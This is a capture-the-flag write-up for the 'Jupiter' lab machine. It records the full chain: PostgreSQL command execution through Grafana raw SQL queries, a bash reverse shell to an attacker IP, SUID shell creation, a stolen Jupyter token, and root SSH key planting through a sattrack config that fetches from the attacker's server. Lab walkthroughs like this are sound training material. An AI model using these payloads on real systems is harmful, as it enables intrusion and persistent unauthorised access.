Jupiter
- Date completed: 2023-06-18
- Difficulty: Medium
- OS: Linux
User flag
Initial nmap:
$ nmap -sV -sC 10.10.11.216
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-15 09:48 CDT
Nmap scan report for 10.10.11.216
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA)
|_256 6001d7db927b13f0ba20c6c900a71b41 (ED25519)
80/tcp openhttpnginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.50 seconds
Ran gobuster to find subdomains for http://jupiter.htb:
$ gobuster vhost --append-domain -u http://jupiter.htb -w /usr/share/wordlists/seclists/Discovery/DNS
/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jupiter.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/06/15 10:33:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: kiosk.jupiter.htb Status: 200 [Size: 34390]
Progress: 114436 / 114442 (99.99%)
===============================================================
2023/06/15 11:01:20 Finished
===============================================================
There is a grafana instance running on http://kiosk.jupiter.htb
Capturing traffic shows that SQL statements are being made:
POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
Content-Length: 484
x-plugin-id: postgres
x-grafana-org-id: 1
x-panel-id: 24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
content-type: application/json
x-dashboard-uid: jMgFGfA4z
x-datasource-uid: YItSLg-Vz
Origin: http://kiosk.jupiter.htb
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"queries":[
{
"refId":"A",
"datasource":{
"type":"postgres",
"uid":"YItSLg-Vz"
},
"rawSql":"select \n name as \"Name\", \n parent as \"Parent Planet\", \n meaning as \"Name Meaning\" \nfrom \n moons \nwhere \n parent = 'Saturn' \norder by \n name desc;",
"format":"table",
"datasourceId":1,
"intervalMs":60000,"maxDataPoints":452
}
],
"range":{
"from":"2023-06-15T10:52:53.888Z",
"to":"2023-06-15T16:52:53.888Z",
"raw":{
"from":"now-6h",
"to":"now"
}
},
"from":"1686826373888",
"to":"1686847973888"
}
Command execution by sending:
CREATE TABLE cmd_exec(cmd_output text);
And then:
TRUNCATE TABLE cmd_exec; COPY cmd_exec FROM PROGRAM ' id '; SELECT * FROM cmd_exec
Get reverse shell:
TRUNCATE TABLE cmd_exec; COPY cmd_exec FROM PROGRAM ' bash -c \"bash -i >& /dev/tcp/10.10.14.82/5555 0>&1 \" '
There's an interesting file in /dev/shm
that's interacted with every two minutes and we have write access to as postgresql
: network-simulation.yml
. By changing the processes that are run we can get access to the juno
user by using bash with the suid
bit set:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/.bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 1
processes:
- path: /usr/bin/chmod
args: 4777 /tmp/.bash
start_time: 5s
Then we can run /tmp/.bash
to add an ssh key for persistence:
$ /tmp/.bash -p
$ echo "<ssh public key>" >> /home/juno/.ssh/authorized_keys
Then we can ssh in as juno
and get the flag.
Root flag
We are able to look in the /opt/solar-flares
directory and see that there is a script to run a jupiter notebook:
juno@jupiter:~$ cat /opt/solar-flares/start.sh
#!/bin/bash
now=`date +"%Y-%m-%d-%M"`
jupyter notebook --no-browser /opt/solar-flares/flares.ipynb 2>> /opt/solar-flares/logs/jupyter-${now}.log &
We can check to see if anything's running on the server at the moment:
juno@jupiter:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 100 127.0.0.1:45809 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 100 127.0.0.1:37175 0.0.0.0:*
LISTEN 0 100 127.0.0.1:42935 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 100 127.0.0.1:53985 0.0.0.0:*
LISTEN 0 100 127.0.0.1:42787 0.0.0.0:*
LISTEN 0 100 127.0.0.1:38341 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Knowing that port 8888 is the default port for jupyter
, we can try port forwarding to see what we can find there:
$ ssh -L 8563:localhost:8888 -i ~/.ssh/id_rsa juno@jupiter.htb
We can then see that token authentication is enabled on the server
Luckily, the stdout is being logged, so we can snatch the token from there:
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-06-18-14.log
[W 23:14:43.387 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 23:14:43.395 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 23:14:43.395 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 23:14:43.395 NotebookApp] http://localhost:8888/?token=987544f50a51e02473c8a3fc1dae91babd2bb3dfa1e771b4
[I 23:14:43.395 NotebookApp] or http://127.0.0.1:8888/?token=987544f50a51e02473c8a3fc1dae91babd2bb3dfa1e771b4
[I 23:14:43.395 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 23:14:43.400 NotebookApp] No web browser found: could not locate runnable browser.
Then we can create a new notebook and create a new suid
bash for the jovian
user.
Use the shell with:
/tmp/.bash2 -p
And then add the ssh key to /home/jovian/authorized_keys
. Note that .ssh
needs to have permissions 700
, and authorized_keys
needs 600
.
Then ssh
as jovian
.
The file /usr/local/bin/sattrack
is interesting, but can't be run without an error. Running strings
on the binary shows that it's expecting a config file at /tmp/config.json
, so copy the config file:
cp /usr/local/share/sattrack/config.json /tmp/config.json
And change it to start with the following lines:
{
"tleroot": "/root/.ssh/",
"tlefile": "authorized_keys",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://10.10.14.82:8000/authorized_keys",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
Then run with:
sudo sattrack
And ssh
in as root!